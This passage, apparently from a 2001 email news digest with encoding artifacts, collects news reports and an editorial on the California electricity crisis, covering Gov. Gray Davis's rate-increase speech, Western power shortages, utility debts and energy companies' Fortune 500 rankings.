pin. ?But as the complex pieces of the state's rescue plan failed to come t=
ogether ?and the price tag continued to rise, Davis and lawmakers were left=
 with few ?options. ?While Davis steadfastly stood by his ``hope and expect=
ation'' that he could ?avoid rate increases, most other state leaders had a=
lready come to the ?conclusion that there was no way out of the crisis with=
out them. ?But the governor recently softened his stance and said he would =
support ?higher energy bills if he saw no other options. ?Some consumer act=
ivists attacked the governor Thursday and vowed to fight the ?rate increase=
 at the ballot box. ?``The governor's plan is: Turn out the lights, get you=
r wallets out and wait ?in the dark until the utility bill comes,'' said Ha=
rvey Rosenfield, head of ?the Foundation for Taxpayer and Consumer Rights. =
?Some Californians who watched the speech also expressed disappointment tha=
t ?Davis had given up on his fight against rate increases. ?``He said he di=
dn't want to raise prices but he did anyway,'' said Craig ?Vomvardieri, 46,=
 of San Jose. ``Twenty-six percent still sounds like a big ?chunk of change=
 to me. But I guess he's trying to deal with it the best he ?can.'' ?Felix =
Hill, 81 of San Jose, said Davis did not offer real solutions: ``He's ?just=
 trying to save his political hide.'' ?GOP reaction ?Republicans criticized=
 the governor for waiting so long to act on a crisis ?that they charged cou=
ld have been addressed with less painful remedies last ?year before the pro=
blems became so severe. ?State Sen. Tom McClintock, R-Thousand Oaks, said D=
avis was leading the state ?down the path of ``heavy taxes, oppressive regu=
lations, new bureaucracies, ?endless mandates to conserve even more, and ul=
timately sky-high prices and ?rolling blackouts.'' ?The address marked the =
first time since his January State of the State ?message that Davis has tak=
en his case directly to the public. And it was the ?first time since 1992 -=
- when GOP Gov. Pete Wilson talked about the recession ?-- that a governor =
has delivered such a speech to Californians. ?Davis less popular now ?The c=
risis has created a political challenge for the Democratic governor, who ?u=
ntil recently has enjoyed strong support in the polls. His popularity has ?=
taken a hit in recent weeks in the wake of growing criticism from prominent=
 ?members of his own party, the PUC's massive rate increase and a surprise =
?series of blackouts. ?After months of work, state leaders have little to s=
how for their efforts to ?bring the crisis under control. The state continu=
es to spend about $50 ?million a day to buy electricity, a job it took on i=
n January when PG&E and ?Edison lost their ability to buy power themselves =
because of mounting debts. ?Since then, Davis and his advisers have been tr=
ying to piece together a ?bailout plan for the two companies. The plan, whi=
ch calls for the state to ?buy 26,000 miles of transmission lines from the =
two troubled utilities and ?San Diego Gas & Electric, has languished. ?Davi=
s has expressed hopes of completing the deals soon, but talks with PG&E ?ha=
ve been put to the side while the governor tries to reach an agreement with=
 ?Edison. ?Another key piece of the rescue plan -- a summertime conservatio=
n -- has also ?been stalled by special interest wrangling. ?More than $1.1 =
billion in conservation programs were hung up this week by ?efforts by the =
agriculture community to win special protections from ?blackouts. ?After tw=
o chaotic days, sorting through pages of last-minute changes proposed ?by l=
obbyists and rounding up votes including a threat to intercept one ?senator=
 at the airport and bring him back to vote, lawmakers narrowly ?approved th=
e bills. ?The funds -- $710 million in SB 5X by Sen. Byron Sher, D-Redwood =
City, and ?$408 million in AB29X by Assemblywoman Christine Kehoe, D-San Di=
ego -- will ?pay for a range of programs, from grants for weatherizing home=
s to rebates ?for new energy-efficient appliances. ?In his address, Davis t=
outed conservation as the best way to ward off higher ?energy bills. ?``The=
 more you use, the more you pay,'' Davis said. ``The more you conserve, ?th=
e more you save.'' ??Mercury News Staff Writers Mark Gladstone, John Woolfo=
lk and Dana Hull ?contributed to this report. ??---------------------------=
---------------------------------------------------?-----------------------=
-------------------------------------------------------?--------------?????=
Davis gives up fight against rate hikes ?Posted at 11:00 p.m. PDT Thursday,=
 April 5, 2001 ?BY DION NISSENBAUM AND HALLYE JORDAN ??Mercury News Sacrame=
nto Bureau ???SACRAMENTO -- In a rare statewide television address, Gov. Gr=
ay Davis on ?Thursday abandoned his struggle to keep electricity rates from=
 skyrocketing ?and proposed an increase of about 26.5 percent for almost ha=
lf of the state's ?residents. ?Though he had vowed repeatedly to protect Ca=
lifornians from footing the bill ?for the state's failed deregulation plan,=
 Davis offered an approach that ?appears similar to the rate structure adop=
ted last week by utilities ?regulators to prevent the crisis from deepening=
. ?Last week, Davis had insisted that he didn't know that the Public Utilit=
ies ?Commission intended to raise rates and called the decision ``premature=
.'' ?Davis did not indicate in his speech what led him to reach his decisio=
n, but ?a top adviser said Davis acted when he became confident the numbers=
 required ?it. ?``I have fought tooth and nail against raising rates,'' sai=
d Davis, who ?appeared somber and slightly nervous during the five-minute s=
peech carried ?live by more than 75 stations and C-SPAN. ``It has become in=
creasingly clear, ?however, that with rising natural gas prices, the feds' =
failure to control ?costs and the state's lack of supply that some rate inc=
reases are needed to ?keep our lights on and our economy humming.'' ?Under =
his plan, the Democratic governor said, more than half of the state's ?resi=
dential customers would not see higher energy bills. But residential ?custo=
mers who use more than 130 percent of their baseline usage would see ?incre=
ases. Customers using the most electricity would face a jump of 34.5 ?perce=
nt, on average. ?Rates for businesses would increase about 30 percent. ?Nor=
thern half hit hardest ?The governor's plan also calls for Northern Califor=
nians to shoulder the ?biggest rate increases. Customers of Pacific Gas & E=
lectric Co., the utility ?in the worst financial condition, would see their=
 electric bills rise an ?average of 28 percent if they use more than 130 pe=
rcent of their baseline ?usage. ?Although Davis stressed that ``more than h=
alf of you won't pay a penny ?more,'' figures from the utilities commission=
 and PG&E suggest far more ?customers may be subject to the governor's rate=
 increase. ?PG&E spokesman Ron Low said that only 31 percent of the utility=
's residential ?customers used no more than 130 percent of their baseline l=
ast year. ?The governor offered scant details about the proposal, but the p=
lan appears ?similar to the one adopted by the Public Utilities Commission.=
 ``It doesn't ?look like there is a big gulf between the overall numbers,''=
 said ?Commissioner Carl Wood. ?The PUC plan -- the largest rate increase i=
n state history -- envisions ?electric bills for homes and apartments going=
 up by as much as 36 percent for ?those who use the most energy. ?Both prop=
osals come on top of a 9 percent residential rate increase approved ?in Jan=
uary by the PUC that was intended to be temporary, but is now expected ?to =
become permanent. ?Davis contrasted his plan with the PUC plan, saying he p=
lans to earmark a ?portion of the revenue to help the utilities pay off som=
e of their more than ?$12 billion debt they ran up purchasing power last ye=
ar. ?To receive that deal, Davis said, the utilities would need to agree to=
 ?provide cheap power from their own plants for a decade, agree to sell the=
 ?state their transmission lines and drop their lawsuits that could lead to=
 ?higher rates. ?The speech marked a dramatic turning point for Davis, who =
entered the energy ?crisis with a pledge to derail any plans to raise rates=
 for average ?Californians. For months, Davis expressed his ``hope and expe=
ctation'' that ?the crisis could be resolved without forcing Californians t=
o pay dramatically ?more for electricity. ?Davis and the Democrat-controlle=
d Legislature are still struggling to find a ?way out of the energy crisis =
that has brought two rounds of rolling ?blackouts, forced PG&E and Southern=
 California Edison to the brink of ?financial collapse and threatened to pu=
sh California into an economic ?tailspin. ?But as the complex pieces of the=
 state's rescue plan failed to come together ?and the price tag continued t=
o rise, Davis and lawmakers were left with few ?options. ?While Davis stead=
fastly stood by his ``hope and expectation'' that he could ?avoid rate incr=
eases, most other state leaders had already come to the ?conclusion that th=
ere was no way out of the crisis without them. ?But the governor recently s=
oftened his stance and said he would support ?higher energy bills if he saw=
 no other options. ?Some consumer activists attacked the governor Thursday =
and vowed to fight the ?rate increase at the ballot box. ?``The governor's =
plan is: Turn out the lights, get your wallets out and wait ?in the dark un=
til the utility bill comes,'' said Harvey Rosenfield, head of ?the Foundati=
on for Taxpayer and Consumer Rights. ?Some Californians who watched the spe=
ech also expressed disappointment that ?Davis had given up on his fight aga=
inst rate increases. ?``He said he didn't want to raise prices but he did a=
nyway,'' said Craig ?Vomvardieri, 46, of San Jose. ``Twenty-six percent sti=
ll sounds like a big ?chunk of change to me. But I guess he's trying to dea=
l with it the best he ?can.'' ?Felix Hill, 81 of San Jose, said Davis did n=
ot offer real solutions: ``He's ?just trying to save his political hide.'' =
?GOP reaction ?Republicans criticized the governor for waiting so long to a=
ct on a crisis ?that they charged could have been addressed with less painf=
ul remedies last ?year before the problems became so severe. ?State Sen. To=
m McClintock, R-Thousand Oaks, said Davis was leading the state ?down the p=
ath of ``heavy taxes, oppressive regulations, new bureaucracies, ?endless m=
andates to conserve even more, and ultimately sky-high prices and ?rolling =
blackouts.'' ?The address marked the first time since his January State of =
the State ?message that Davis has taken his case directly to the public. An=
d it was the ?first time since 1992 -- when GOP Gov. Pete Wilson talked abo=
ut the recession ?-- that a governor has delivered such a speech to Califor=
nians. ?Davis less popular now ?The crisis has created a political challeng=
e for the Democratic governor, who ?until recently has enjoyed strong suppo=
rt in the polls. His popularity has ?taken a hit in recent weeks in the wak=
e of growing criticism from prominent ?members of his own party, the PUC's =
massive rate increase and a surprise ?series of blackouts. ?After months of=
 work, state leaders have little to show for their efforts to ?bring the cr=
isis under control. The state continues to spend about $50 ?million a day t=
o buy electricity, a job it took on in January when PG&E and ?Edison lost t=
heir ability to buy power themselves because of mounting debts. ?Since then=
, Davis and his advisers have been trying to piece together a ?bailout plan=
 for the two companies. The plan, which calls for the state to ?buy 26,000 =
miles of transmission lines from the two troubled utilities and ?San Diego =
Gas & Electric, has languished. ?Davis has expressed hopes of completing th=
e deals soon, but talks with PG&E ?have been put to the side while the gove=
rnor tries to reach an agreement with ?Edison. ?Another key piece of the re=
scue plan -- a summertime conservation -- has also ?been stalled by special=
 interest wrangling. ?More than $1.1 billion in conservation programs were =
hung up this week by ?efforts by the agriculture community to win special p=
rotections from ?blackouts. ?After two chaotic days, sorting through pages =
of last-minute changes proposed ?by lobbyists and rounding up votes includi=
ng a threat to intercept one ?senator at the airport and bring him back to =
vote, lawmakers narrowly ?approved the bills. ?The funds -- $710 million in=
 SB 5X by Sen. Byron Sher, D-Redwood City, and ?$408 million in AB29X by As=
semblywoman Christine Kehoe, D-San Diego -- will ?pay for a range of progra=
ms, from grants for weatherizing homes to rebates ?for new energy-efficient=
 appliances. ?In his address, Davis touted conservation as the best way to =
ward off higher ?energy bills. ?``The more you use, the more you pay,'' Dav=
is said. ``The more you conserve, ?the more you save.'' ??Mercury News Staf=
f Writers Mark Gladstone, John Woolfolk and Dana Hull ?contributed to this =
report. ???----------------------------------------------------------------=
--------------?------------------------------------------------------------=
------------------?----------------------??????Western states share shortag=
e of electricity ?Posted at 11:00 p.m. PDT Thursday, April 5, 2001 ?BY STEV=
E JOHNSON ??Mercury News ???All across the West, an unsettling realization =
is sinking in: The threat of ?blackouts and electric rate increases is no l=
onger confined to California. ?In the past few months, consumers in at leas=
t eight other Western states have ?been slapped with higher electricity bil=
ls, largely because of the same ?out-of-control wholesale market that is wr=
eaking havoc here. Wholesale prices ?in the Pacific Northwest are even high=
er than in California, raising fears ?that California may be forced into a =
bidding war to get the power it ?desperately needs. ?So far, officials in m=
ost Western states expect to get through the summer ?without blackouts. Eve=
n so, electricity supplies are worrisomely thin. ?``I don't recall a time w=
hen it has been as tight as this,'' said Robert ?Dintelman, assistant execu=
tive director of the Western Systems Coordinating ?Council, which plans to =
release a report today assessing power supplies ?throughout the region. ?Th=
e problem is expected to receive intense scrutiny Tuesday when officials ?f=
rom California and 10 other Western states meet with the Federal Energy ?Re=
gulatory Commission in Boise, Idaho, to discuss the spreading energy crisis=
 ?and what can be done about it. ?Julie Leonard, who manages Westy's Garden=
 Lanes, a 40-lane bowling alley in ?Boise, is among those who hope the solu=
tion can be found quickly. Idaho Power ?is seeking to boost electric bills =
by 24 percent for residents and 20 percent ?for most businesses. If approve=
d, she said, it would tack $500 onto the ?bowling alley's $2,500 monthly po=
wer bill. ?``Everybody is upset about it,'' Leonard said. ``They don't like=
 it, but what ?are they going to do about it. Everybody is trying to conser=
ve whatever ?energy they can.'' ?Like Gov. Gray Davis and some other Wester=
n governors, Leonard favors having ?the federal government impose regionwid=
e caps on the wholesale price of ?power, which lately has been up to 10 tim=
es higher than it was a year ago and ?up to 10 times what many Eastern stat=
es now pay. ?But given the commission's past resistance to caps and the inc=
reasing ?difficulty providing power to the West's fast-growing population, =
averting ?problems this summer could prove difficult -- especially if unusu=
ally hot ?weather sends electricity use soaring. ?``The entire Western grid=
 could be very short, and when that happens the ?price goes through the roo=
f and .?.?. we get a scramble for power,'' said ?Severin Borenstein, who di=
rects the University of California Energy ?Institute. ?The biggest victim i=
n such a scramble could be California, because it imports ?about 20 percent=
 of the power it needs, more than any other Western state. ?That has become=
 a particular concern recently because of what has happened to ?prices in O=
regon and Washington state, where a drought has severely crimped ?their hyd=
roelectric power. ?In April last year, wholesale power at peak times was se=
lling for about $36 a ?megawatt-hour in California, vs. $31 at a Washington=
 trading hub and $35 at ?another hub in Oregon, according to a survey by En=
ergy NewsData. On ?Wednesday, the top price in California was $300 per mega=
watt-hour, vs. $345 ?in Oregon and $350 in Washington. ?If that price diffe=
rence persists into summer, some energy specialists fear, ?electricity supp=
liers may be more willing to sell to Washington or Oregon ?than here during=
 emergencies, which could result in a nasty interstate ?rivalry. ?``The las=
t thing that any of us needs is some sort of civil war between the ?states =
because everyone will lose,'' said Tom Williams, a spokesman for Duke ?Ener=
gy of Charlotte, N.C. Unfortunately, he added, ``I don't think imports ?are=
 going to show up in California this summer. And if they do, they're going =
?to be very, very expensive.'' ?Some experts aren't troubled by the price d=
ifference, characterizing it as a ?temporary and insignificant development.=
 They also think too much is being ?made of rising prices and power constra=
ints throughout the West. ?``Everybody has a knot in their stomach'' becaus=
e supplies are tighter than ?in recent years, said Thomas Feiler of the Roc=
ky Mountain Institute, an ?energy policy think tank in Colorado. But he cal=
led most of the concerns ?``overstated,'' because ``the market fundamentals=
 just don't support that ?kind of Chicken Little thinking.'' ?While experts=
 consider the threat of blackouts to be most acute in California ?-- follow=
ed by Washington and Oregon -- other states are in relatively good ?shape b=
ecause they were more diligent about building power plants. ?Arizona is a g=
ood example. Although ``summer is going to be a test,'' ?according to Heath=
er Murphy, a spokeswoman for the Arizona Corporation ?Commission, which ove=
rsees utilities, ``there is an air of confidence with ?caution.'' ?Still, a=
t least one small Arizona community that does not generate its own ?power a=
nd must buy it on the volatile spot market recently asked for a rate ?incre=
ase. And across the West, other communities are facing similar troubles. ?A=
side from Arizona and California, rate increases recently have been approve=
d ?or proposed in portions of Colorado, Idaho, Nevada, Oregon, Utah, Washin=
gton ?and Wyoming. California's rates are still higher in many cases. Even =
so, the ?change in some of these other communities is not insignificant. A =
temporary ?50 percent rate increase approved in Tacoma, Wash., in December =
raised the ?average monthly electric bill for a home with electric heat fro=
m $85.30 to ?$123.70. And the bill could go up more in October. ?That isn't=
 sitting well in a lot of places. And despite data that shows ?Californians=
 are better about conserving energy than consumers elsewhere, ?many other W=
esterners hold this state responsible for the regionwide ?wholesale market =
meltdown that led to their rate increases. ?``Basically, California is the =
1,000-pound gorilla in the Western power ?grid,'' said Richard Comerford, a=
 spokesman for Colorado's largest municipal ?utility in Colorado Springs, w=
hich is asking for a 25 percent rate increase ?from its 175,000 customers. =
``The problems California is facing, with too ?much demand and not enough s=
upply, is driving the price in the entire Western ?region. So to compete, w=
e have to pay the same high price.'' ??Contact Steve Johnson at sjohnson@sj=
mercury.com or (408) 920-5043. ???-----------------------------------------=
-------------------------------------?-------------------------------------=
-----------------------------------------?-------------------??????Getting =
real on rates ?Published Friday, April 6, 2001, in the San Jose Mercury New=
s ?THE best part of Gov. Gray Davis's Thursday night television address on =
the ?energy crisis was the direct endorsement of a rate increase. ?Granted,=
 the Public Utilities Commission cleared the path 10 days ago by ?raising r=
ates. In response, Davis had waffled. All winter he had pretended he ?could=
 restore stability to the system while protecting the current rates. ?Now t=
hat he has seen the light on the necessity of higher rates both to ?procure=
 energy and to prompt conservation, Davis delivered the news in ?person. ?D=
avis had not addressed Californians on the electricity shortage since ?Janu=
ary. He was in danger of leaving the impression that the crisis was not ?cr=
itical and that he was not engaged. ?Davis's rate plan seems roughly simila=
r to that of the PUC. Both are ?structured to protect thrifty consumers and=
 designed to pressure the heavy ?users into cutting back. Davis called for =
all Californians to cut demand 10 ?percent. ?The question is whether rate p=
rotection for more than 50 percent of ?consumers, which Davis promised, wil=
l lessen their incentive to conserve. ?But while the words in the speech we=
re on point, the tone lacked zest. Davis ?is no Franklin Roosevelt. Too bad=
, because in the call to conservation, some ?rhetoric to quicken the civic =
virtue in the citizenry would have helped the ?cause. ?Unless the summer is=
 unexpectedly cool, conservation will be critical to ?avoiding blackouts. W=
hile some additional supply will be coming online, it is ?not possible to b=
uild fast enough. ?A part of that conservation has to come from average Cal=
ifornians inspired to ?make sacrifices, such as as sitting in a hot house f=
or a couple hours in the ?afternoon instead of turning on the air condition=
ing. ?Wisely, Davis didn't review the promises he made in his January state=
 of the ?state speech, the last time he addressed Californians on energy. ?=
Then, he had bashed the independent power generators and promised to ``rega=
in ?control over the power that's generated in California and commit it to =
the ?public good.'' ?Not a lot of progress has been made on that score. The=
 state has been ?purchasing power both for day-to-day needs and for the fut=
ure. Davis has not ?reported specifically on what it is paying and how much=
 power is lined up. ?His plan to restore the financial health of Pacific Ga=
s & Electric and ?Southern California Edison continues to hinge on state pu=
rchase of the ?transmission system. Those negotiations have been crawling a=
long. ?The governor faces a delicate task of convincing Californians of the=
 gravity ?of the electricity shortage for the coming summer without creatin=
g a panic. ?They would like to feel he's got the situation in hand. Thursda=
y's speech ?proved at least that he's got it in mind.??--------------------=
----------------------------------------------------------?----------------=
--------------------------------------------------------------?------------=
------------?????Davis: Rate hikes a must ?April 6, 2001 ?The Orange County=
 Register ?Gov. Gray Davis for the first time Thursday endorsed electricity=
 rate ?increases, saying the strapped utilities need help to return to solv=
ency. ?Addressing Californians in a televised speech, he lashed out at fede=
ral ?regulators for refusing to limit wholesale electricity prices. ?Until =
Thursday, Davis repeatedly said the state could resolve the power ?crisis w=
ithout rate hikes. ?He announced his change of mind about two weeks after t=
he Public Utilities ?Commission came out with a similar rate plan, using si=
milar reasoning. ?The PUC must approve any change in rates. ?Some consumer =
groups are promising a revolt at the polls in 2002, hoping to ?roll back th=
e rate hikes through a ballot initiative.???-------------------------------=
-----------------------------------------------?---------------------------=
-----------?????Davis' power-crisis plan brings questions from Wall Street =
?April 6, 2001 ?By KATE BERRY?The Orange County Register ?Wall Street analy=
sts and investment bankers grilled Gov. Gray Davis' ?financial advisers Thu=
rsday on a plan that would use a portion of an ?electricity rate increase t=
o pay off some of the power-buying debts of ?Southern California Edison and=
 Pacific Gas & Electric. ?Joe Fichera, Davis' top financial adviser, said t=
he new plan would raise $3.5 ?billion a year from ratepayers. About 5 perce=
nt would pay off about $8 ?billion of the $14 billion debt accumulated by t=
he state's two largest ?utilities. ?"The governor said tonight he wants the=
 utilities to be stabilized,'' said ?Fichera, who spoke to Wall Street anal=
ysts in a conference call. "He supports ?a rate increase. Part of the rate =
increase goes to their back debt. He's ?showing a commitment to avoid bankr=
uptcy.'' ?Both utilities have delayed reporting their results for last year=
's fourth ?quarter because they are considering taking write-offs for whole=
sale ?electricity debts. The utilities have incurred the debts since May be=
cause ?they could not pass on their full costs to consumers protected by a =
rate ?freeze. ?Under Davis' plan, the utilities could issue their own bonds=
 to pay off their ?debts, using the dedicated cash stream from ratepayers t=
o service the bonds, ?Fichera said. ?In return, both utilities would have t=
o agree to drop lawsuits against the ?state, sell their transmission lines =
and supply power to the state for 10 ?years at cost-based prices, which inc=
lude a profit for the companies. ?Fichera said negotiations with the utilit=
ies are continuing and that he was ?exploring alternatives if the utilities=
 did not sign up for the plan. ?Stephen Frank, chairman and chief executive=
 of Edison, responded with a terse ?statement: "We will look to what action=
s follow the governor's words ?tonight.'' ?Pacific Gas & Electric stated: "=
The steps the governor announced tonight ?still do not appear to offer a co=
mprehensive solution to resolve California's ?energy crisis.'' ?The Davis p=
lan also includes the sale of $12.4 billion to $14 billion in ?bonds to cov=
er power purchases made by the state Department of Water ?Resources. The bo=
nds are to be repaid by ratepayers through their electricity ?bills over 12=
 to 15 years. ?But it was unclear to bankers and analysts whether the rate =
increases ?proposed by Davis would cover the skyrocketing costs of electric=
ity, ?particularly this summer. ?Davis' advisers declined to disclose how m=
uch DWR is paying for electricity. ?Davis' rate plan assumes a 10 percent a=
cross-the-board reduction in energy ?use this summer. Without conservation,=
 analysts said, the calculations could ?be off, triggering more rate increa=
ses.???--------------------------------------------------------------------=
----------?----------------------------------------------------------------=
--------------?--?????Davis pulls energy switch ?His proposal for a rate hi=
ke, weighted toward heavy electricity users, ?represents a shift from previ=
ous position. ?April 6, 2001 ?By JOHN HOWARD?The Orange County Register ?SA=
CRAMENTO - Gov. Gray Davis said Thursday that Californians' electricity ?ra=
tes must be raised to ease the state's energy crisis, and that some of the =
?money should help bail out the strapped utilities, which have rung up $14 =
?billion in debt. ?Embracing rate increases for the first time, Davis said =
in a rare, ?five-minute, statewide television address that he "fought tooth=
 and nail ?against raising rates," but that "some rate increases are needed=
 to keep our ?lights on and our economy strong." ?The Democratic governor a=
lso said that the proposed rate hike - a flexible ?scheme in which the heav=
iest users would pay the most - would pay down the ?huge debt that utilitie=
s have rung up buying wholesale electricity. ?But to take advantage of that=
 money - Davis didn't say how much - the ?utilities would have to agree to =
three things: sell thousands of miles of ?transmission lines to the state, =
provide at least a decade's worth of ?low-cost power to the state, and drop=
 all court actions seeking new rate ?increases. The proposal, which Davis u=
rged the state Public Utilities ?Commission to adopt, would apply to Southe=
rn California Edison, Pacific Gas & ?Electric Co. and San Diego Gas & Elect=
ric Co. ?Senate leader critical of 'bailout' ?That provision to help the ut=
ilities drew a sharp response from Senate Leader ?John Burton, D-San Franci=
sco, a top consumer advocate. ?"We are not in the business of bailing those=
 guys out, and that's what he's ?doing. So you raise my rates $2, then you =
say you're going to give 50 cents ?to the utilities to pay off back debt. W=
hat that means to me is you could ?have covered the cost of electricity wit=
h just $1.50," Burton said. ?Doug Heller of the Santa Monica-based Foundati=
on for Taxpayer and Consumer ?Rights, was equally critical. ?"Gov. Davis, i=
f you're going to pick our pockets, tell us how much you're ?really going t=
o take because you can't pay off the energy cartel and bail out ?the utilit=
ies with the rate increase that (you) talked about tonight," Heller ?said. =
?In Orange County, at least one resident who watched Davis' speech question=
ed ?the state's handling of the crisis. ?"Everybody who's been watching thi=
s understands that if you have a decreasing ?supply and an increasing deman=
d, prices will go up. But the question is, why ?wasn't anyone managing this=
 thing a long time ago?" said Henry Eilbirt, ?president of the Community As=
sociation of Leisure World-Laguna Woods, which ?represents about 3,500 resi=
dents. "What the governor said is all very nice, ?but it doesn't solve the =
problem. In fact, it seems like the governor is ?stepping away from a solut=
ion." ?PUC, Davis plans are similar ?Two weeks ago, the PUC adopted a plan =
- in some respects similar to Davis' - ?to raise rates through a tiered sch=
eme in which the lightest users of ?electricity pay the least and the heavi=
est users the most. It would raise ?customers' bills up to 36 percent. ?Und=
er the Davis plan, roughly half of all electricity customers would not ?fac=
e increases because their electricity consumption is already low or ?modera=
te. But heavier users, nearly a fourth of all customers, would face a 9 ?pe=
rcent increase, and those who consume the most face a 48 percent increase, =
?or from $129 to $171 on the average bill of a heavy Edison customer. ?"It =
sends the signal, the more you use the more you pay," said V. John White, ?=
executive director of the Center for Energy Efficiency and Renewable ?Techn=
ologies. ?But Dave Cox, R-Fair Oaks, the Assembly's GOP leader and a former=
 utility ?executive, said the governor provided little hard information to =
the public ?about how the electricity crisis will be resolved. ?"One day he=
 said there wasn't going to be a rate increase, and now he's ?saying it loo=
k like we are going to have to. It kind of strains the ?credibility, doesn'=
t it?" Cox said the speech was designed to make people ?feel as good as pos=
sible in the crisis. ?"It was warm and fuzzy. It was a great political spee=
ch, but it didn't ?provide any specificity on how to solve the problem,'' C=
ox said. ?Staff writers Hanh Kim Quach, Kimberly Kindy and Andrew Horan con=
tributed to ?this report.???-----------------------------------------------=
-------------------------------?-------------------------------------------=
-----------------------------------?-???[B] PG&E defaults on Los Alamos Ene=
rgy power payment ??????San Francisco, April 5 (BridgeNews) - Los Alamos En=
ergy, a division of Out ?Takes Inc., said Thursday that it was not paid for=
 past deliveries of ?electricity delivered to Pacific Gas & Electric (PG&E)=
. The company joins a ?slew of other power providers that have not been pai=
d by PG&E because of the ?utilities financial difficulties. The power produ=
cer (qualifying facility, or ?QF) terminated its contract with PG&E March 1=
6 because of lack of payment. ?The termination was not contested by PG&E. ?=
?*                   *             *???The company is in the process of exp=
loring alternative buyers or markets for ?electricity sales. ?"While Los Al=
amos Energy has demanded payment in full for electricity ?delivered to PG&E=
, there can be no assurance that PG&E will, or can make such ?payment in ac=
cordance with the demand," the company said in a statement. ?Los Alamos did=
 not return calls for comment on how much PG&E owes and what ?action it is =
planning to pursue against PG&E. Some QFs are contemplating ?involuntary ba=
nkruptcy action if PG&E does not create a settlement with ?California Gov. =
Gray Davis on how to pay its around $4 billion debt. ?"In view of PG&E cont=
inuing its existence absent reorganization, envisaged to ?be detrimental to=
 the interests of LAE as an unsecured creditor, there can be ?no assurance =
of LAE collecting payments due from PG&E," the Dallas-based ?company conclu=
ded. End ???---------------------------------------------------------------=
---------------?-----------------------------------------------------------=
-----???Friday, April 6, 2001??????By Rick Stouffer ?rstouffer@ftenergy.com=
 ??While technology stocks in 2000 got whacked=01*taking much of the stock =
market's ?oomph with it=01*guess what? America's energy woes meant no "whoa=
s" when it came ?to reigning in revenues at the nation's energy-related com=
panies.??Fortune 500 list numbers released this week show that energy-conne=
cted firms ?did quite well in 2000, with 48 utility, pipeline, independent =
power ?producer, convergent-type firms making the annual prestigious revenu=
es list. ??Energy is top category?According to Fortune Magazine's research,=
 in terms of revenue growth, the top ?business category was what it calls e=
nergy, including such giants as Duke ?Energy, Reliant Energy, UtiliCorp Uni=
ted and Avista Corp. Combined this group ?experienced an 83.7% increase in =
revenues from 1999. ??Second in revenue growth from a percentage increase w=
as the pipeline ?category, including such firms as Enron Corp., Dynegy Inc.=
, El Paso Energy ?Corp. and Williams. Combined this group saw 2000 revenues=
 jump 71.8%.???Even gas and electric utilities grew in double-digit bites d=
uring 2000, up a ?strong 34.3% to capture seventh place among industry type=
s. ??On the profit side, over a one-year period, pipeline companies came in=
 third, ?up 73.2%; energy firms took 10th place, up 23.4%; and gas and elec=
tric ?companies captured 28th place, up 5.4%. Fastest profit growth year-ov=
er-year ?was recorded in the mining, crude oil production category, up an a=
mazing ?473.7%.??Not only did many of the energy-related listees make the T=
op 500 mark=01*they ?pummeled it. ??Higher energy prices certainly led to v=
ery large, black revenue and profit ?lines in company financials. In numero=
us cases, revenues, and to a lesser ?extent profits, experienced double-, e=
ven triple-digit increases from the ?year before. ??However, some industry =
followers said the glowing revenue figures had a lot ?to do with good times=
 in trading natural gas and electricity=01*and, indeed ?profits as a percen=
tage of revenues struggled to get out of the single ?digits. ??Enron leads =
the pack?Leading the energy pack, excluding the major oil companies, which =
are ?acknowledged to be in another galaxy in terms of revenues and profits,=
 was ?Enron Corp., listed in an industry grouping with the pipeline firms. =
?Obviously, Fortune Magazine was looking at the Houston, Texas-based giant'=
s ?roots when grouping it with the pipes; but then, perhaps because it has =
?become so divergent in its paths, pipes was the only category that made an=
y ?sense. ??Regardless, Enron's 2000 revenues more than doubled its nearest=
 ?energy-related challenger's figure, with revenues totaling $100.8 billion=
=01*up ?151% from 1999, according to Fortune. ??On the overall Fortune 500 =
list (the magazine actually tracks the top 1,000 ?firms), Enron was the onl=
y energy-related (again excluding Big Oil) company ?to make the Top 10, set=
tling in at No. 7. ??Duke has the profits?Manning the No. 2 energy-related =
spot in a category Fortune calls "energy," ?was Duke Energy Corp., with 200=
0 revenues totaling $49.3 billion=01*up 127% from ?a year earlier. On the l=
arger 500 list, Duke ranked No. 17. ??Duke may not have had Enron's revenue=
s, but the Charlotte, N.C.-based titan ?led all comers in profits, pegged a=
t a very patriotic $1,776 billion, ?bettering by 18% its 1999 numbers. ??Dy=
negy (listed as a pipeline company) edged Reliant Energy (in the energy ?ca=
tegory) in terms of 2000 revenues, $29.4 billion to $29.3 billion. Close ?b=
ehind was another energy firm, UtiliCorp United, with 2000 revenues just ?u=
nder $29 billion. ??The above trio on the Fortune 500 list, ranked by reven=
ues, took the 54th, ?55th and 60th spots, respectively, on the highly regar=
ded honor roll. ?Reliant's revenues jumped 92% year-to-year, Dynegy's rose =
91% and UtiliCorp's ?revenues climbed a strong 56% year-over-year. ??Southe=
rn largest in its class?The largest firm in Fortune's gas and electric util=
ity class was Atlanta, ?Ga.-based Southern Co., ranked fifth in terms of re=
venues with $23.4 billion, ?but No. 2 in profits, at more than $1.3 billion=
. Southern's revenues in 2000 ?ballooned 102%, while profits inched up by 3=
%. Southern captured the 76th ?position on the actual Fortune 500 list. ??I=
t's interesting to note that no matter how things change, they have a way o=
f ?staying relatively the same. In 1999, the top five (actually four) energ=
y ?firms in Fortune's list were MidAmerican Energy Holdings, UGI Corp., USE=
C ?Inc. and NorthWestern Corp. ??For 2000, MidAmerican is not listed as it =
was taken private by a trio of ?players headed by billionaire investor Warr=
en Buffett; UGI fell to 10th ?place; USEC to 14th; and Northwestern Corp. t=
o fifth. ??In the pipeline category in 1999, Enron was No. 1, followed by D=
ynegy, ?Williams, El Paso and KN Energy. For 2000, Enron is tops, followed =
by Dynegy, ?El Paso, Williams and TransMontaigne Inc. ??In the utility cate=
gory, in 1999, the top five included PG&E Corp., Duke, ?Texas Utilities, Ut=
iliCorp and Entergy. In 2000, Southern, PG&E, TXU, ?American Electric Power=
 and Edison International filled the top spots. ??Ironically, two of those =
top five firms for 2000 could be in Chapter 11 ?bankruptcy protection befor=
e the next Fortune 500 list comes out. ??Are the figures as rosy as they ap=
pear? PricewaterhouseCoopers' Gerald Keenan ?cautions that the mind-bogglin=
g leaps in year-over-year revenue totals were ?recorded while margins thems=
elves shrank from where they were just a few ?years ago. ??"In large part, =
a number of folks made trading much more of their portfolio," ?said Keenan,=
 PwC's energy strategy partner in Chicago. "Some of the ?astronomical price=
s in the West also contributed. It's a situation where the ?revenues report=
ed were much higher, but there was a significant drop in net ?income as a p=
ercentage of sales." ??Indeed, in the Fortune 500 list's column titled "pro=
fits as a percentage of ?revenues," only two of the top five listmakers in =
